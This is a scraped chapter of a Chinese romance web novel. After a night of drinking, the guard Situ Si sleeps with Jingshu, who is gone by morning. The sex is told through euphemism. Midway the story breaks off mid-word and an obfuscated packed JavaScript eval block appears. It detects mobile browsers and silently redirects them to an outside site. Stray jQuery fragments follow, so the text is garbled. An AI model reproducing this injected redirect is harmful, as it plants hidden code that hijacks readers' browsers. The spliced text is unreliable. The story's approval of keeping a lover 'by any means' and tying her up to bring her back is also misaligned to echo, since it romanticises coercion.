默认冷灰
24号文字
方正启体

109. [锁] [此章节已锁]

作者:渔亦鱼本书字数:K更新时间:
    夜色微凉,几人原本打算趁着日落赶回去,却不曾想小皇爷带着柳芳菲进了帷幕后就没再出来。


    除却偶时经过听得一些动静外,旁的吩咐是一句也没有。主子不走,其余人更不敢走。


    至于静姝,已经彻底被榕榕缠住,拉着她说了好多关于觅春归的事儿,实在是对那些多才多艺的雅士感兴趣极了,满心满脑地想要为小一哥哥觅个良人才行。


    司徒几兄弟守在旁边扇蚊子,时不时唠两句有的没的。


    直至皇爷府的人端来晚膳,粉色帷幕才有了动静,两个主子从里头走出。


    柳芳菲走在后头,颊上还有尚未褪去的潮红,走路的腿轻轻发颤,就连襦裙都换了身新的。


    至于方才那件儿,她眸底一沉,随之而来不可名状的羞涩。


    不禁喟叹,某人力气还真是大,绣得这样密的衣裳,都能堪堪撕成片儿。


    司徒妄还是那副泰然自若的模样,搂着自家姑娘,全然不顾周围几道揶揄的目光。以他的话来说,他们反应这样大皆是因为自己没尝过,男女敦伦乃人之常情。


    二人坐下,大家才得以填饱肚子。


    周遭寂然,月色浓郁,每个人都难免贪杯。


    静姝被灌了不少酒,司徒一与司徒三作为习武之人,本以为自己酒量不错,却没想到被一个女人打败了。


    司徒妄明眸一挑,不愧是觅春归老板,酒量自是不在话下。


    而他那几个不成器的侍卫胜负欲熊熊燃烧,完全忘了灌酒的初衷,一门心思只想要为自己的酒量找回面子。


    轮番上阵。


    极不要脸。


    “静姝姑娘,我家老四给你添麻烦了,喝一杯。”


    “静姝姑娘,我家老四从未带过姑娘给我们看,喝一杯。”


    “静姝姑娘,相逢即是缘,喝一杯。”


    “静姝姑娘,日后你就是我司徒三的朋友,喝一杯。”


    “为了月色,喝一杯。”


    “为了蔷薇,喝一杯。”


    “喝一杯。”


    “喝。”


    “……”


    静姝不语,只一味地喝酒。


    饶是酒量不错,也有些飘飘然了。


    最后司徒四将酒瓶一夺,留给两个哥哥凌厉的眼神,走了。


    其实他也有些醉意,走路飘忽无力,置于草地之上,软绵绵的。加之掌心握着一只纤嫩柔软的手,心里跳个不停,也就更为无力了。


    幕帐掀开,他牵着静姝走进去,也不知是喝酒醉的还是羞的,脸上泛起异样的红。


    刚毅冷绝的脸,配上这样不正常的红,看起来委实可爱。


    “你别在意。”


    两个人都带着醉意。


    呼吸之间,灼热的酒气相缠,分不清谁更迷乱。


    “在意什么?”


    “今日,种种——”


    话落,前所未有的柔软袭来,薄唇亦是湿热阵阵。


    更遑论舌间里有柔物搅动,翻来涌去,让他本就不安躁动的心更添澎湃。


    醉酒、女人、香气还有这四下无人的城郊帷幕。


    不知何时,静姝那缠人的呼吸呵在他颤抖的睫毛上,银丝勾连,看得人尽是羞涩,只得生硬瞥开头。


    “你不看我,是因我不好看?”


    不是。


    听言,他定睛看向眼前阖眼,再次吻得忘我的女人,仅见面三次就把他弄得心神不定的女人。


    实在是太过妩媚好看,所以才觉……


    越看越难以自持。


    不过,现下情况,情难自禁的好像另有其人。


    朱唇已经离开了柔软之地,微启在他这儿漫无目的地找寻。


    随之锁定领口,顺势咬开。


    动作牵连过大,以至于因方才纠缠而有些松散的薄纱骤然滑落。


    披帛,却被她伸手一挑,缠在了司徒四的脖子上。


    帷幕简陋,除却一盏茶案外,仅剩席地安置的一处软榻。


    然,静姝似是不满于此,巧劲儿使然将毫无防备的男人轻轻一推,猝不及防地,二人径直倒在细软的毛毯之上。


    身影——


    交错。


    重叠。


    也因得这一倒,司徒四原本不知所措的手,本能地抱住身上细软的腰肢。


    蓦然想起今日她牵着榕榕去山上的背影,细腰轻轻扭扭,实在是让人想要捏上一把。


    他自然也这么做了。


    后果便是,窜入耳畔的呜咽媚吟。


    盈盈春水噙于微眯的双眸,流转间,秀眉微蹙。细长指尖在他光洁的后背划出一道不浅的抓痕。


    瞳孔一缩。


    “妖精!”


    他怒斥,眼眶似是充血。


    却又不是真的生气,只是被激得陡然弓腰。


    两相调转,很快将主动权掌握在自己手里。


    帷幕内烛火昏黄摇曳、幕帘随夜风轻动。


    白日阳光明媚,夜里竟漫起雨来。


    春日的雨最是柔软,润泽万物——


    花儿随清风细雨摇曳,嫩草发芽。雨声时而轻缓,时而急促,那些花草也飘飘荡荡,竭尽全力接受雨的恩赐。


    待到足够成长,花儿小草大树在深夜里以最好的状态将一切回馈给春雨。


    于是,春雷阵阵,原本温柔的雨,也猛然大了些。


    这雨,下了足足半夜,帷幕拉开还能闻到滋润万物的芬芳。


    司徒四仅披素色寝衣走出,眼底还挂着淡淡的乌青。


    虽是有些事没有想得透彻明白,可经昨夜一事,他心里倒是清楚得很。


    自第一次见面对她的那股刻意疏离,到上次见她想要偷蔷薇的本能维护,还有昨夜面对她投怀送抱的欣喜若狂。


    无一不表明:他喜欢她。


    小皇爷说得对,若是喜欢,那便用尽各种手段各种心机想尽一切办法把她留在身边,只要结果是她就好。


    嘴角勾起餍足的笑,端起热水往帷幕那头走。


    心里想着待会儿便向未来的小皇妃讨要些好东西,悉数送给她。


    金银首饰送给她。


    绫罗绸缎送给她。


    不过觅春归如此挣钱,她这些应该是不缺的。


    那……宅子呢?


    小皇爷前些年给他们兄弟几人备了不少宅院,要不然都送了罢。


    还有,对,还得下聘!


    做了这事儿,定是要对人家姑娘负责的。


    他身份低微又是孤儿,而她是觅春归的老板,到时候得让小皇爷亲自走一趟才行。


    短短几瞬,他想了很多。


    走路的步伐也轻快了些许。


    只是……帷


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225298|174021||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    幕掀开,榻上已是空无一人了。


    “静姝?”


    他放下水盆,仔细打量后往外折身往外。


    方才他特意从地上拾起的衣物悉数消失,连带着榻上睡得香甜的人也消失了。


    城郊空旷,放眼望去亦不见女人的半丝身影。


    须臾,他慌了神。


    天色大亮,他就这么愣怔地站在帷幕不远处的一棵树旁。


    司徒一与司徒三醒来时,他还杵在哪儿,魂儿都丢了。


    “这树……”


    许是还未清醒,司徒三挠挠头又恍然大悟,“马哪儿去了?”


    是啊,马不见了,人也不见了。


    司徒四恍惚扭头,薄唇微张,开开合合,又不置一词。


    “发生何事了?”


    司徒妄搂着柳芳菲起床,面色不愉。


    此次出游,就带了这几个混小子,荟如不在连个伺候的人都没有。自家姑娘昨儿被他折腾得厉害,今儿起床怎么看他怎么不顺眼。


    哄了好一会热,才让答应出来透透气吃早饭。


    却不曾想,甫一出了帷幕,就看到这三人围在一团叽叽喳喳的情状。


    柳芳菲顺着那张惶然的脸望去,又看了看眼前掀开的帷幕,竟是风卷残云般的糟乱。又将眸子移到司徒四的身上,上下打量。


    嘴角不禁抽了抽,这俩人昨夜该不会……


    这静姝到底有多勇猛,才会将好好儿的一个人弄成这样。


    失魂落魄不说,入目之处竟无一处好地儿,实在是太激烈了。


    她看得到,司徒妄自然也是看到了,遂在她耳畔小声咂舌:“欢欢,我也要。”


    柳芳菲:“……”


    现在是说这个的时候吗?


    气氛格外僵持,即便是小皇爷亲自发问,司徒四也只是支吾半天,眼里含着似落非落的泪,答不出话。


    须臾,一道稚嫩又清亮的童声响起:“四哥哥,四嫂嫂去哪儿了?”


    榕榕还未彻底清醒过来,打着哈欠努嘴:“昨儿四嫂嫂分明答应榕榕要和我一起睡的,结果我醒来也不曾见她。四哥哥,是你把四嫂嫂藏起来了吗?”


    司徒一将榕榕抱起,一把捂住了她的嘴:“我带你去梳洗一下,待会儿得去善德院了。”


    言毕,转身将人抱走,把尴尬留给剩下几人。


    司徒三为人精明,凌乱的帷幕,疲惫的老四,青紫的痕迹,失踪的马匹还有消失的姑娘。


    无一不诉说着一个事实——


    “老四,你是不是不太行,所以姑娘跑了?”


    司徒一脚步一顿,加快了溜走的速度。


    而司徒四显然将注意力集中在“跑了”二字上,整个人竟往后趔趄了好几步。


    跑了?


    怎么就跑了?


    为何会跑了?


    昨夜分明是她先覆上他的唇,攀上他的肩,抬脚于他方便的。


    极尽撩人后,跑了?


    越想,自下而上的一股子难堪漫涌上来,许久,才终是接受人真的跑了的事实。


    兀自苦笑起来。


    他在想地久天长之时,她却计划离开。


    “小皇爷,我……”


    话到嘴边,又哽在喉咙,大为酸涩。


    “有时间在这儿自怨自艾,不若追上去,把人绑回来。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)